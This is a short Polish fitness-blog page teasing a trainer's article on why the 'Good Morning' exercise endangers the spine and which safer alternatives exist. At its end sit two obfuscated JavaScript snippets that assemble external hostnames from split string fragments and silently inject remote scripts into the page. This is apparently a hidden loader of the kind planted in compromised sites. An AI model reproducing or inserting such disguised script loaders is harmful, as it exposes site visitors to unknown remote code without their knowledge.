kontakt@przemekjurek.pl

+48 732 496 635

Dzień: 26 czerwca, 2025

Kategorie:

Ćwiczenie Good Morning: Sekret siłaczy czy prosta droga do kontuzji? Wyjaśnia trener.

26 czerwca, 2025

Ćwiczenie “Good Morning” to narzędzie dla elity siłaczy i prosta droga do kontuzji dla niemal całej reszty. Zanim w ogóle pomyślisz o tym ruchu, przeczytaj dogłębną analizę trenera. Wyjaśniam w niej, dlaczego ryzyko zniszczenia kręgosłupa niemal zawsze przewyższa potencjalne korzyści i pokazuję znacznie bezpieczniejsze, równie skuteczne alternatywy. Nie pozwól, by Twoje plecy zapłaciły cenę za jeden błąd.

Czytaj więcej >
(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();